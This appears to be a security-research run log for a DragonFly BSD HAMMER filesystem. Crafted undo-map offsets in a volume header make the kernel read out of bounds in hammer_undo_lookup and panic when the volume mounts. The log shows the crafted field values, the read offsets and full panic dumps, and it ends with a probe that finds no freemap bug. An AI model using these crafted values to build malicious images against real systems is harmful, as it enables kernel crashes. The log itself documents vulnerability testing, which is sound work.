+--------------------------------------------------------------+
| DF-3040 run.log — BASELINE, stock kernel #0 (INVARIANTS)     |
| DragonFly dfbsd 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC  |
|   2026  root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64|
+--------------------------------------------------------------+

$ sh /root/run.sh 0x400000000            (first run, default offset)
sizeof(volume_ondisk)=1928 vol0_blockmap@264 undo_array@904 (128 entries of 8)
undo BEFORE: phys=ffffffffffffffff first=3000000000003ec8 next=3000000000003ec8 alloc=3000000020000000
undo AFTER : phys=ffffffffffffffff first=3000000400000000 next=3000000400000010 alloc=3000000500000000
crafted: idx(first)=2048 -> read at bp+17288 (~0KB past the 16KB bp)
MOUNTING
(ssh session never returns — timeout 124; guest wedged at ddb)

--- console (dfbsd-qemu/boot.log, full copy in panic_idx2048.txt) ---
Fatal trap 12: page fault while in kernel mode
cpuid = 1; lapic id = 1
fault virtual address	= 0xfffff80060cea380
fault code		= supervisor read data, page not present
instruction pointer	= 0x8:0xffffffff809537a4
stack pointer	        = 0x10:0xfffff80117f57358
frame pointer	        = 0x10:0xfffff80117f57388
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 937
current thread          = pri 6
kernel: type 12 trap, code=0

CPU1 stopping CPUs: 0x0000003d
 stopped
Stopped at      hammer_undo_lookup+0x84:        addq    0x388(%rcx,%rdx,8),%rbx
db>

+--------------------------------------------------------------+
| Second baseline run after vm.sh reset with-src (fresh boot)  |
+--------------------------------------------------------------+

$ sh /root/run.sh 0x4000000000           (attacker-chosen far offset)
sizeof(volume_ondisk)=1928 vol0_blockmap@264 undo_array@904 (128 entries of 8)
undo BEFORE: phys=ffffffffffffffff first=3000000000000000 next=3000000000000000 alloc=3000000020000000
undo AFTER : phys=ffffffffffffffff first=3000004000000000 next=3000004000000010 alloc=3000004100000000
crafted: idx(first)=32768 -> read at bp+263048 (~240KB past the 16KB bp)
MOUNTING
(ssh session never returns — timeout 124; guest wedged at ddb)

--- console (dfbsd-qemu/boot.log, full copy in panic_idx32768.txt) ---
Fatal trap 12: page fault while in kernel mode
cpuid = 0; lapic id = 0
fault virtual address	= 0xfffff800641f6380
fault code		= supervisor read data, page not present
instruction pointer	= 0x8:0xffffffff809537a4
stack pointer	        = 0x10:0xfffff80117c0b358
frame pointer	        = 0x10:0xfffff80117c0b388
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= 921
current thread          = pri 10
kernel: type 12 trap, code=0

CPU0 stopping CPUs: 0x0000003e
 stopped
Stopped at      hammer_undo_lookup+0x84:        addq    0x388(%rcx,%rdx,8),%rbx
db>

+--------------------------------------------------------------+
| Stock-freemap probe (same stock kernel, priority-7 check)    |
+--------------------------------------------------------------+
$ sh /root/freemap_probe.sh
MOUNT_OK
-rw-r--r--  1 root  wheel  6 Sep  5 15:47 /mnt/afile
FREEMAP_CYCLE_DONE
PROBE_CLEAN
(=> DF-3011's "KKASSERT(layer2->zone==zone) at hammer_blockmap.c:832"
 artifact is NOT reproducible on a stock newfs_hammer image; it was an
 artifact of the deepforge image grafting. No off-by-8 in the kernel
 freemap decode. No finding.)